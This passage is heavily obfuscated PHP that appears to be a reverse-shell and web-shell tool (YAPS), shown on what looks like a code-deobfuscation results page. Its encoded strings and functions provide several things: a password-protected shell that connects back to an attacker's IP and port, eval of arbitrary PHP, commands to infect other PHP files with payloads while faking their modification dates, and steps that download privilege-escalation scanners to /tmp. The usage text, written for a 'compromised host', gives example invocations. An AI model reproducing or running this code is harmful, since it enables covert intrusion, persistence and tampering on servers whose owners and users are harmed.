mSnAu; ajhGD: fwrite($uhabo, $lnLRa); goto Un2gY; mSnAu: case "\41\163\x74\x61\x62\151\x6c\x69\x7a\145": KqYcu(); goto JuTch; case "\41\142\141\143\x6b\144\157\157\x72": avOfn(); goto JuTch; case "\41\x70\x61\163\x73\x77\144": Dzqb4(); goto JuTch; case "\x21\x64\165\160\154\151\143\x61\x74\x65": rMfJw(); goto JuTch; case "\x21\151\156\x66\145\x63\x74": tgemZ(); goto JuTch; } goto GAc52; GAc52: n81KA: goto t539Z; Geo4M: global $uhabo, $vIiwX; goto xMMqM; gchCq: } goto yx13G; XB1yM: function qa3Zj($vFg21) { try { goto XwVxE; oHKel: $lnLRa = ob_get_contents(); goto dvLEG; XwVxE: ob_start(); goto Wl98c; Wl98c: eval($vFg21); goto oHKel; dvLEG: ob_end_clean(); goto oimL3; oimL3: } catch (Throwable $ydfVX) { $eSaQP = explode("\123\x74\141\143\153\40\164\x72\x61\143\145\x3a", $ydfVX); $lnLRa = $eSaQP[0]; } return $lnLRa; } goto geBy7; q6PSH: $sC5i_ = explode("\72", $_POST["\170"]); goto ZKUbC; mcfgK: function RMFJw() { goto zso19; UNLc2: KquvS: goto TG8QO; jiYb5: goto E0GHE; goto qsopi; c3UeR: fwrite($uhabo, "\103\157\x6e\156\x65\143\x74\151\156\147\40\164\157\40" . $cQPaX . "\x3a" . $JPpPq . "\xa"); goto u_jzg; s8cgw: cP5Tk: goto wQE9G; saQms: $j6vks = $_SERVER["\x52\105\x51\125\105\123\x54\x5f\123\103\x48\105\x4d\105"] . "\72\57\57" . $_SERVER["\x48\x54\x54\x50\137\x48\117\x53\124"] . $_SERVER["\122\105\121\x55\105\x53\124\137\125\122\x49"]; goto lFLD8; PuKa1: uaZgt: goto h98Wp; A8Zte: OIoKc: goto LK0r4; or0QC: fwrite($uhabo, yUAt6("\x5b\55\135\40") . "\103\157\165\154\144\x6e\47\x74\x20\x66\151\156\x64\x20\131\x41\120\x53\40\x55\x52\x4c\56\x20\x44\151\x64\40\171\157\165\40\162\165\156\x20\x6d\x65\40\166\x69\141\x20\143\157\x6d\x6d\141\x6e\144\40\x6c\x69\x6e\145\x3f\xa\120\154\x65\141\x73\x65\40\160\162\x6f\x76\x69\x64\145\x20\164\x68\x65\x20\143\x6f\x72\x72\145\143\x74\40\131\101\x50\x53\40\125\x52\x4c\x20\50\x65\170\x61\x6d\160\154\x65\x2e\x63\157\155\57\x66\x69\x6c\x65\x73\57\x79\141\160\x73\x2e\x70\150\160\51\x3a\40"); goto PuKa1; wAbD4: goto gRbze; goto s8cgw; zso19: global $uhabo, $cQPaX, $rpc4Z, $_SERVER; goto yR3iH; qsopi: AvkYo: goto or0QC; oWs1e: $rxU9o = array("\x78" => $cQPaX . "\72" . $JPpPq); goto c3UeR; VWyJN: if (!($JPpPq = fread($uhabo, 32))) { goto cP5Tk; } goto yEE7T; vQVjM: xxvQE: goto Qkrvd; AyrRR: return fwrite($uhabo, aWT6z("\133\x2d\x5d\40") . "\103\157\x75\x6c\144\x6e\x27\x74\x20\166\x61\x6c\x69\144\141\x64\145\40\x59\x41\120\x53\x20\125\122\x4c\56\40\x49\163\x20\x74\150\x69\163\40\x74\150\x65\x20\143\x6f\x72\x72\145\143\164\x20\125\x52\x4c\x3f\12"); goto UNLc2; PDhmg: goto OIoKc; goto vQVjM; u_jzg: $CLARD = "\x77\x67\x65\x74\40\x2d\161\117\x2d\40\x2d\x2d\160\157\x73\x74\55\144\x61\164\x61\x3d\x22" . http_build_query($rxU9o) . "\x22\40{$j6vks}\40\x3e\40\57\x64\x65\166\57\x6e\x75\x6c\154"; goto pamWy; TG8QO: goto sVsjb; goto Beb2t; DvMmI: rRoj3("\x74\151\155\145\x6f\x75\x74\40\x2d\55\x6b\151\x6c\x6c\x2d\x61\146\164\x65\162\x20\x30\40\x31\x20" . $CLARD); goto PDhmg; pamWy: if (WKZam("\160\157\x70\x65\156") && wkzAm("\x70\143\154\157\163\x65")) { goto xxvQE; } goto DvMmI; fFmaS: gRbze: goto VWyJN; h98Wp: if (!($MNKsJ = fread($uhabo, 256))) { goto sVsjb; } goto GSweb; Qkrvd: pclose(popen($CLARD . "\x20\46", "\162")); goto A8Zte; lFLD8: echo $j6vks; goto jiYb5; yEE7T: $JPpPq = base64_encode($JPpPq) == "\x43\x67\75\x3d" ? $rpc4Z : substr($JPpPq, 0, -1); goto oWs1e; D78KU: fwrite($uhabo, N9IlW("\133\52\x5d\x20") . "\x43\150\x6f\x6f\163\145\x20\x61\x20\160\157\x72\x74\x20\x74\x6f\40\154\151\x73\164\x65\156\x20\x28\x64\x65\x66\141\165\x6c\164\72\x20{$rpc4Z}\51\72\40"); goto fFmaS; GSweb: if (!(NK5X0(preg_replace("\x2f\12\57", '', $MNKsJ . "\77\x76\x72\146\x79")) !== "\x62\x61\147\165\166\x69\170")) { goto KquvS; } goto AyrRR; SFAow: E0GHE: goto D78KU; Beb2t: goto uaZgt; goto m3w3a; eA65X: $j6vks = $MNKsJ; goto SFAow; yR3iH: if (!isset($_SERVER["\x52\x45\x51\x55\105\123\x54\x5f\x53\x43\x48\x45\115\105"]) || !isset($_SERVER["\x48\124\x54\x50\137\x48\x4f\123\x54"]) || !isset($_SERVER["\122\105\x51\x55\105\x53\x54\x5f\x55\x52\111"])) { goto AvkYo; } goto saQms; m3w3a: sVsjb: goto eA65X; LK0r4: return; goto wAbD4; wQE9G: } goto DdGcE; iSjTR: function UE3r5() { $uYN8_ = "\xa" . F3Ve0("\x55\x73\x65\x66\165\154\x20\143\x6f\155\x6d\x61\x6e\144\x73\72") . "\12\40\40" . n9Ilw("\x21\150\x65\154\x70") . "\12\40\40\x9\104\151\163\x70\154\x61\x79\40\x74\x68\x69\163\x20\x6d\145\x6e\x75\12\40\40" . n9ilw("\41\x61\x6c\x6c\x2d\143\157\x6c\x6f\162\163") . "\12\40\40\11\124\157\x67\147\x6c\x65\x20\x61\x6c\154\x20\x63\x6f\x6c\157\x72\163\40\x28\x6c\157\143\141\154\154\x79\x20\157\x6e\154\171\51\xa\x20\40" . n9iLw("\x21\143\x6f\x6c\157\162") . "\xa\x20\40\11\124\157\x67\147\154\145\x20\44\x50\x53\61\x20\143\x6f\154\x6f\x72\40\x28\154\x6f\143\141\x6c\x6c\x79\40\x6f\x6e\x6c\x79\51\12\40\x20" . n9ilw("\41\144\165\160\x6c\151\143\x61\x74\145") . "\12\x20\40\11\x53\160\x61\x77\x6e\40\141\x6e\157\x74\x68\145\162\x20\x72\145\166\x65\x72\x73\145\x20\x73\150\145\154\x6c\12\40\x20" . N9ilw("\41\145\156\165\x6d") . "\xa\40\40\11\104\x6f\167\x6e\x6c\x6f\x61\144\40\114\151\x6e\x70\x65\x61\163\x20\141\156\x64\x20\114\151\x6e\145\156\165\155\40\164\157\40\57\x74\x6d\160\40\x61\156\144\x20\x67\x65\164\x20\151\164\x20\162\145\x61\144\x79\40\x74\x6f\x20\x72\165\x6e\12\x20\40" . N9ilW("\x21\151\x6e\x66\145\143\x74") . "\12\x20\x20\11\111\x6e\x6a\x65\143\x74\40\160\141\171\154\157\141\144\163\40\x69\x6e\164\157\x20\x50\x48\x50\x20\146\151\x6c\145\x73\xa\x20\40" . n9iLw("\41\x69\x6e\x66\x6f") . "\xa\40\40\x9\114\151\x73\164\x20\x69\156\x66\x6f\x72\155\141\164\151\x6f\156\x20\141\x62\157\165\x74\x20\164\141\x72\147\x65\164\12\40\40" . N9ilW("\x21\x70\x61\x73\163\167\144") . "\xa\x20\40\11\123\150\x6f\167\x20\x6f\160\x74\151\x6f\x6e\x73\x20\x66\157\162\40\x70\141\163\163\167\x6f\x72\144\11\xa\40\40" . n9ilW("\41\x70\150\160") . "\12\x20\40\x9\x57\162\x69\164\x65\x20\x61\156\x64\40\162\x75\156\x20\x50\110\120\40\143\157\144\145\40\157\x6e\40\164\x68\145\x20\x72\145\155\157\164\145\40\150\x6f\x73\x74\12\x20\x20" . N9ilw("\x21\163\x74\x61\x62\x69\x6c\151\172\145") . "\xa\40\x20\11\x53\164\141\x62\x69\x6c\151\172\145\x20\164\x6f\x20\141\156\40\x69\x6e\164\x65\162\x61\x63\x74\151\x76\145\40\x73\x68\145\x6c\x6c\xa\40\40" . n9IlW("\x21\x73\x75\147\x67\145\163\164\145\x72") . "\12\x20\40\x9\x44\157\167\x6e\154\157\x61\x64\40\x4c\x69\x6e\165\x78\x20\105\x78\x70\x6c\157\x69\164\x20\x53\x75\x67\x67\145\163\164\x65\162\40\164\157\40\x2f\164\155\160\x20\x61\156\x64\x20\147\145\x74\x20\151\164\x20\162\145\x61\x64\x79\40\x74\x6f\40\162\165\x6e\12\40\x20\xa" . F3VE0("\x43\157\155\155\x61\156\144\40\x6c\x69\x6e\145\40\x6f\160\164\x69\x6f\156\x73\72") . "\xa\x20\x20" . oipir("\x24\40\x70\150\160\x20\x79\141\160\x73\x2e\x70\150\x70\x20\133\x2d\x2d\165\160\x64\x61\x74\145\x7c\55\165\135") . "\12\40\x20\11\103\x68\x65\143\153\40\x69\146\40\131\x41\120\x53\40\151\x73\x20\x75\x70\x20\x74\x6f\40\144\x61\x74\x65\xa\x20\x20" . oipIR("\44\40\x70\x68\x70\x20\x79\x61\160\x73\56\x70\150\x70\40\151\x70\x20\160\x6f\x72\164") . "\xa\40\x20\11\103\157\156\156\145\143\x74\x20\x74\x6f\40\151\160\x3a\x70\157\x72\164\12"; return $uYN8_; } goto pr3GV; uBNhu: function dzqB4() { goto HTNuX; ms3UG: if (!($bVUhe = fread($uhabo, 8))) { goto JJa3p; } goto GwUtJ; bdiWB: fwrite($uhabo, aWt6z("\x5b\55\135\x20") . "\x20\127\162\x6f\x6e\x67\x20\x70\141\x73\163\167\x6f\x72\144\xa"); goto CHnQL; x8HE7: QdZQm: goto JzzC5; rgl8V: COO5K: goto B1qS0; N0CMV: goto vQy1o; goto P4LEg; feiTM: vQy1o: goto ms3UG; B5r0W: fwrite($uhabo, f3Ve0("\133\53\x5d\x20\x50\x61\163\163\167\x6f\x72\144\x20\x69\x73\x20\x65\x6e\x61\x62\x6c\x65\x64\56\40") . OIpir("\103\150\157\157\163\145\40\141\156\x20\157\x70\x74\x69\x6f\156\72") . "\12\133\61\135\x20\103\x68\141\x6e\147\x65\40\160\x61\163\x73\x77\x6f\162\x64\12\x5b\x32\x5d\x20\x44\x69\x73\141\142\x6c\145\x20\x70\141\163\x73\x77\157\162\x64\12\x5b\63\x5d\40\x43\x61\x6e\143\x65\154\xa\x3e\40"); goto pjlru; jSqdF: if (!($bVUhe = fread($uhabo, 8))) { goto wFlH8; } goto Vgh30; B1qS0: goto iCi1X; goto Q4Dtm; pjlru: iCi1X: goto jSqdF; P4LEg: JJa3p: goto ISxBu; Q4Dtm: wFlH8: goto PvAp1; ktnRq: if ($GxCAX) { goto Z_2Ex; } goto jumoM; Yp1zG: if (OsfEM()) { goto JmLfm; } goto bdiWB; K5Y3x: Z_2Ex: goto Yp1zG; CHnQL: return; goto geb0f; geb0f: JmLfm: goto B5r0W; JzzC5: Q751U: goto N0CMV; ISxBu: goto hNKLx; goto K5Y3x; PvAp1: hNKLx: goto nVeHg; GwUtJ: switch (substr($bVUhe, 0, -1)) { case "\x31": goto jyEdh; RZqF4: return; goto tFyvS; r4_Hz: goto Q751U; goto Fxv8v; LwZGH: nOIr0: goto r4_Hz; tFyvS: goto br8v4; goto LwZGH; Kxfy_: br8v4: goto scVo5; akaL7: $yZQNF = substr($zXjQF, 0, -1); goto GJjg2; jyEdh: fwrite($uhabo, n9Ilw("\133\52\135\40") . "\103\x68\157\x6f\x73\x65\x20\164\150\145\40\156\145\167\x20\160\x61\163\x73\x77\x6f\162\144\x3a\x20"); goto Kxfy_; scVo5: if (!($zXjQF = fread($uhabo, 1024))) { goto nOIr0; } goto akaL7; GJjg2: Q3dL6($yZQNF); goto RZqF4; Fxv8v: case "\x32": goto lnyyB; lK0xZ: goto Q751U; goto lD0mv; xAEuJ: return; goto lK0xZ; lnyyB: KbrwN(); goto xAEuJ; lD0mv: default: goto EuFJy; LBVn8: goto Q751U; goto ndIcb; EuFJy: fwrite($uhabo, n9ILW("\x5b\x2a\x5d\40") . "\103\141\156\143\145\154\x65\x64\56\xa"); goto KKuBc; KKuBc: return; goto LBVn8; ndIcb: } goto x8HE7; GVqeL: TyU8c: goto rgl8V; jumoM: fwrite($uhabo, yuAT6("\x5b\41\135\40\120\141\x73\163\167\157\162\144\x20\x69\163\x20\144\x69\x73\x61\142\x6c\x65\x64\x2e\40") . oIPIr("\x43\x68\x6f\157\163\145\x20\x61\156\x20\157\160\x74\151\x6f\x6e\x3a") . "\12\133\61\135\x20\x53\145\164\x20\141\40\x70\141\163\x73\x77\x6f\x72\144\xa\133\62\x5d\40\x45\156\141\x62\154\145\40\160\141\163\163\x77\157\x72\x64\12\x5b\x33\x5d\40\x43\141\x6e\143\145\x6c\12\x3e\x20"); goto feiTM; HTNuX: global $uhabo, $GxCAX; goto ktnRq; Vgh30: switch (substr($bVUhe, 0, -1)) { case "\61": goto RnYqp; nI6hF: SUU2a: goto CeGJj; CeGJj: goto COO5K; goto kSjMv; Vq_EH: v1Sy7: goto xrxP9; FBRZh: goto v1Sy7; goto nI6hF; RnYqp: fwrite($uhabo, N9iLW("\133\x2a\x5d\x20") . "\x43\150\x6f\157\163\x65\40\164\150\x65\40\156\145\167\40\160\141\163\x73\x77\x6f\162\x64\x3a\x20"); goto Vq_EH; OkvTv: $yZQNF = substr($zXjQF, 0, -1); goto krRbM; EsOOF: return; goto FBRZh; krRbM: q3dl6($yZQNF); goto EsOOF; xrxP9: if (!($zXjQF = fread($uhabo, 1024))) { goto SUU2a; } goto OkvTv; kSjMv: case "\x32": goto EwXfS; EwXfS: KbRWN(); goto o5_nP; o5_nP: return; goto Ayara; Ayara: goto COO5K; goto dgAry; dgAry: default: goto UmDPE; fEwui: goto COO5K; goto rY59U; UmDPE: fwrite($uhabo, n9ilW("\x5b\52\135\x20") . "\103\141\156\143\145\154\145\x64\56\12"); goto tCwP2; tCwP2: return; goto fEwui; rY59U: } goto GVqeL; nVeHg: } goto mcfgK; v31ws: if (!isset($_GET["\166\x72\146\x79"])) { goto SL9cF; } goto ErU9M; Cm_e7: function OSfem() { goto BFmPb; hJDpk: goto MBTIG; goto ZGeH5; j6_sE: MBTIG: goto xbqTV; RS25B: fwrite($uhabo, Yuat6("\x5b\x69\135\40") . "\x54\150\x69\163\x20\x73\150\x65\x6c\154\40\x69\x73\x20\160\x72\157\x74\x65\x63\164\145\x64\56\40\12\x45\x6e\x74\145\x72\x20\164\x68\145\x20\x70\x61\x73\x73\167\x6f\162\144\x3a\x20"); goto j6_sE; ZGeH5: CTSjt: goto NK6mZ; BFmPb: global $uhabo, $dOYbr, $GAr_9; goto RS25B; cadMr: $PNSir = substr($bVUhe, 0, -1); goto dTqV7; dTqV7: return hash("\163\150\x61\65\61\x32", $GAr_9 . hash("\163\x68\141\65\x31\x32", $PNSir, false), false) == $dOYbr ? true : false; goto hJDpk; xbqTV: if (!($bVUhe = fread($uhabo, 1024))) { goto CTSjt; } goto cadMr; NK6mZ: } goto iZriP; kuiOY: function uya22($WcFd8, $zAbFR, $NJkba, $HOF_s, $Wrock = 1) { goto cA5fQ; b2IoV: fwrite($uhabo, n9iLw("\133\x3f\135\x20") . oIPir("\x41\x72\x65\40\x79\x6f\x75\x20\163\165\162\x65\x20\x79\157\x75\x20\x77\141\x6e\164\x20\164\157\40\151\156\146\145\143\164\x20\x74\x68\x6f\163\145\x20\146\151\154\x65\163\77\x20\x5b\x59\57\x6e\x5d")); goto J3CoI; KFDX3: hAAyv: goto iJVMB; gKhfl: AVU7o: goto qS5a9; C1XGa: return; goto FhH28; iJVMB: return; goto wYQId; EVWcE: $ra13a = $Wrock ? "\105\x6e\144\x20\x6f\x66\x20\x66\151\x6c\145" : "\x42\x65\x67\x69\156\x6e\151\x67\40\157\x66\40\146\151\x6c\x65"; goto t6FMW; cA5fQ: global $uhabo; goto R7aCo; rSDE3: fwrite($uhabo, yuaT6("\xa\x5b\41\x5d\x20") . OiPIR("\x46\151\154\145\x73\x20\164\157\x20\151\x6e\146\145\x63\x74\72\12")); goto K0GM_; R7aCo: $bdStf = $HOF_s[array_keys($HOF_s)[$NJkba]]; goto rSDE3; tSkHP: if (!(strtolower(substr($nuYrD, 0, 1)) == "\x6e")) { goto qSZ1I; } goto C1XGa; l1LON: Z3cDs: goto xwQ_2; t6FMW: fwrite($uhabo, yuat6("\x5b\x21\135\40") . OiPir("\x50\x6f\163\x69\x74\151\x6f\x6e\72\40") . $ra13a . "\xa"); goto b2IoV; FhH28: qSZ1I: goto inQ2k; xwQ_2: fwrite($uhabo, YUAT6("\133\41\x5d\x20") . oiPIr("\120\x61\171\x6c\x6f\141\144\x3a\x20") . $HOF_s[array_keys($HOF_s)[$NJkba]] . "\12"); goto EVWcE; K0GM_: foreach ($zAbFR as $t6xVR) { fwrite($uhabo, $WcFd8[$t6xVR] . "\xa"); EdqnP: } goto l1LON; OONdF: goto XLe5f; goto gKhfl; qS5a9: foreach ($zAbFR as $t6xVR) { goto ciir5; A212K: $lnLRa = $F4egJ ? F3vE0("\x5b\53\135\40") . oIpIr($t1PYd . "\40\167\x61\x73\x20\151\x6e\x66\145\143\x74\145\144\x20\x77\x69\x74\150\x20\160\x61\x79\154\x6f\141\x64\40\41") : awT6z("\x5b\x2d\x5d\40") . oiPIR($t1PYd . "\40\105\x72\x72\x6f\x72\x21"); goto v9BzE; YTZfp: if (!rrOj3("\164\157\x75\x63\x68\40\55\144\40" . "\x22" . $urFP2 . "\42\40" . $t1PYd)) { goto yziDD; } goto AGT5O; aONrh: yziDD: goto bzWRA; ekCWJ: if (!(wKZaM("\146\151\x6c\145\137\x67\145\164\137\143\157\x6e\164\145\156\164\163") && wkZam("\146\x69\x6c\x65\137\160\165\x74\137\143\157\x6e\164\x65\x6e\x74\x73"))) { goto wp17k; } goto ymV2w; AvL__: $urFP2 = str_replace("\xa", '', RRoJ3("\163\164\141\164\x20" . $t1PYd . "\x20\x7c\x20\147\x72\x65\x70\40\115\157\x64\x69\x66\x79\40\x7c\40\163\x65\x64\x20\x22\163\x2f\x4d\x6f\x64\x69\x66\x79\72\40\57\57\42")); goto Br2Gn; v9BzE: fwrite($uhabo, $lnLRa . "\12"); goto YTZfp; ciir5: $t1PYd = $WcFd8[$t6xVR]; goto ekCWJ; Df6HR: QCSYa: goto x9Uvv; AGT5O: fwrite($uhabo, F3vE0("\x5b\53\x5d\x20") . OIPIR("\115\141\156\164\141\x69\x6e\x65\144\x20\157\162\151\147\151\156\x61\154\x20\47\155\157\144\151\146\151\145\x64\x20\x64\x61\164\145\47\40\x28" . $urFP2 . "\x29\56\12")); goto aONrh; Br2Gn: if ($Wrock) { goto Ke9q5; } goto Wofw9; bzWRA: wp17k: goto Df6HR; bCtge: goto Bz6Gl; goto R2oq1; h4yqM: Bz6Gl: goto A212K; Wofw9: $F4egJ = file_put_contents($t1PYd, $bdStf . "\xa" . $HCTBP) ? 1 : 0; goto bCtge; R2oq1: Ke9q5: goto hgQ1w; hgQ1w: $F4egJ = file_put_contents($t1PYd, "\12" . $bdStf, FILE_APPEND) ? 1 : 0; goto h4yqM; ymV2w: $HCTBP = file_get_contents($t1PYd); goto AvL__; x9Uvv: } goto KFDX3; inQ2k: goto AVU7o; goto OONdF; ysYHH: if (!($nuYrD = fread($uhabo, 128))) { goto AVU7o; } goto tSkHP; J3CoI: XLe5f: goto ysYHH; wYQId: } goto eHwdO; zjsja: ignore_user_abort(1); goto rOjHT; Vi22B: H5lpw: goto dB_FX; l49dA: MWxhT: goto IYlYs; ZWvp6: function WXFy1() { global $XHy50, $xebfD; return $XHy50 . "\12" . yUaT6("\x55\x73\141\x67\x65\72") . OiPiR("\12\x54\x68\x65\x72\x65\40\x61\x72\145\x20\164\x68\x72\x65\x65\40\x77\x61\x79\163\40\x79\x6f\165\x20\x63\x61\x6e\40\163\164\141\x72\164\x20\x74\150\145\x20\143\157\156\x6e\x65\x63\x74\151\157\x6e\72\12") . F3vE0("\x31\x2e\40\x56\151\141\x20\x63\157\x6d\155\x61\x6e\x64\40\154\151\156\x65\x20\151\156\x20\x74\x68\x65\40\143\157\155\160\162\x6f\155\x69\163\x65\x64\40\150\x6f\x73\x74\x3b") . "\xa\x9\x45\56\x67\72\40\x24\40\160\150\x70\x20\171\141\x70\x73\56\160\150\160\40\x5b\157\160\164\x69\157\x6e\163\135\40\133\x69\160\40\160\x6f\x72\x74\x7c\151\x70\x3a\x70\x6f\x72\x74\x5d\12" . F3ve0("\62\x2e\x20\115\x61\153\x69\156\147\x20\141\x20\120\117\x53\x54\x20\162\145\161\165\145\163\x74\x20\x74\x6f\40\164\150\145\x20\x66\x69\154\x65\x20\x77\x69\x74\150\x20\164\150\x65\40\x70\x61\162\141\155\145\x74\x65\x72\x20\x22\x78\42\x3b") . "\xa\11\105\56\x67\x3a\40\44\x20\x63\165\x72\x6c\x20\55\x58\x20\x50\x4f\123\124\x20\55\x64\40\x22\170\75\61\x39\x32\x2e\61\66\70\x2e\67\63\56\65\71\72\67\63\65\x39\x22\40\x68\141\x63\x6b\145\144\56\x63\x6f\x6d\57\165\x70\154\x6f\141\144\x73\57\x79\x61\x70\163\56\x70\x68\x70\12" . f3vE0("\63\x2e\40\x4d\x61\x6b\151\156\x67\x20\141\40\107\105\x54\x20\x72\x65\x71\x75\x65\x73\164\40\x77\151\164\x68\157\x75\164\x20\x70\x61\x72\141\155\145\x74\x65\x72\x73\40\x28\167\x69\154\x6c\x20\143\157\156\x6e\145\x63\x74\40\164\157\40\164\x68\145\40\x68\141\162\144\x63\x6f\144\x65\144\40\163\157\143\153\145\x74\51\x3b") . "\12\11\x45\56\x67\x3a\40\44\40\143\x75\x72\x6c\40\x68\141\143\153\x65\144\x2e\143\x6f\x6d\57\x75\160\154\x6f\141\x64\163\57\171\141\160\163\x2e\x70\150\x70\xa" . YUAT6("\x4f\160\x74\151\157\156\163\72") . OIpiR("\xa\x2d\150\x2c\40\55\x2d\x68\x65\x6c\x70\72\40\40\40\40\40\123\150\x6f\167\40\x74\x68\x69\163\40\x68\x65\x6c\x70\12\55\x73\x2c\40\55\x2d\163\x69\154\x65\156\164\x3a\x20\x20\x20\123\151\154\145\156\x74\40\x6d\x6f\x64\145\x20\x28\144\x6f\x65\x73\40\156\157\x74\40\144\x69\163\160\154\x61\171\x20\x62\x61\x6e\x6e\145\162\51\xa\x2d\x75\54\x20\55\55\165\160\x64\141\164\x65\72\40\x20\x20\103\150\145\x63\153\40\151\x66\40\x59\x41\120\123\x20\151\163\x20\x75\x70\x20\164\157\x20\x64\x61\x74\x65\12") . yuaT6("\105\x78\141\x6d\x70\x6c\x65\x73\40\x28\x73\165\x70\160\x6f\x73\145\x20\x79\157\165\x72\x20\111\x50\x20\x69\x73\x20\61\x39\62\x2e\x31\x36\70\x2e\x37\x33\56\65\71\51\72") . "\xa\151\x6e\146\x65\x63\164\145\144\100\x68\157\x73\x74\x3a\x7e\44\40\x70\150\160\x20\171\141\x70\x73\x2e\x70\150\x70\40\55\163\x20\x31\71\62\x2e\x31\x36\x38\x2e\x37\63\56\65\71\40\64\x34\64\64\xa\151\156\146\x65\x63\164\x65\144\100\150\157\x73\x74\x3a\176\44\x20\160\x68\160\x20\171\x61\160\x73\56\160\x68\x70\40\61\x39\62\x2e\61\x36\70\56\x37\63\x2e\65\x39\x3a\70\x30\x38\x30\12\171\157\165\x72\100\x6d\x61\143\x68\151\156\x65\72\176\x24\x20\143\165\x72\154\40\55\x58\x20\x50\117\123\x54\40\x2d\x64\x20\x22\170\x3d\x31\x39\62\x2e\x31\66\70\56\x37\x33\x2e\65\x39\42\40\150\x61\x63\153\x65\144\56\x63\x6f\155\x2f\165\x70\x6c\x6f\141\144\x73\x2f\171\141\x70\x73\x2e\x70\x68\x70\xa"; } goto xePMo; tSd1g: buOLW:Function Calls
| None |
Stats
| MD5 | 3f7183c2b5a08b8bb7018d030ce08f0a |
| Eval Count | 0 |
| Decode Time | 149 ms |